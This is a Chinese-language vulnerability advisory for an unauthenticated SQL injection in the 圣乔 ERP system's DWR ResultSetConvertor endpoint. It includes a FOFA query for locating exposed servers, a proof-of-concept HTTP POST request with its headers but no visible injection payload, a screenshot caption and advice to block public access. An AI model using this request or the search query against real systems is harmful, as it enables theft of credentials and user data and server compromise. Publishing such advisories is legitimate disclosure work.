

圣乔ERP系统 ResultSetConvertor SQL注入漏洞

漏洞描述

圣乔ERP系统 ResultSetConvertor.queryForMapWithDefaultValues.dwr 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

圣乔ERP系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： app="圣乔-ERP系统"

POC/EXP：

POST /erp/dwr/call/plaincall/ResultSetConvertor.queryForMapWithDefaultValues.dwr HTTP/1.1

Host: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8 ,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=C714EB74E3409570A9160051C806C3A7

The image shows a web browser's developer tools with the 'Network' tab selected. A request is highlighted, and its details are shown on the right. The request is a POST to /erp/dwr/call/plaincall/ResultSetConverter.queryForMapWithDefaultValues.dwr with HTTP 1.1. The response is a 23241-byte XML document. The XML content is truncated in the screenshot, showing a warning message: 'Warning: 'u65E0u6548u7684' QName: 'qjzzq1qvzvc'...'.

如非必要，禁止公网访问该系统。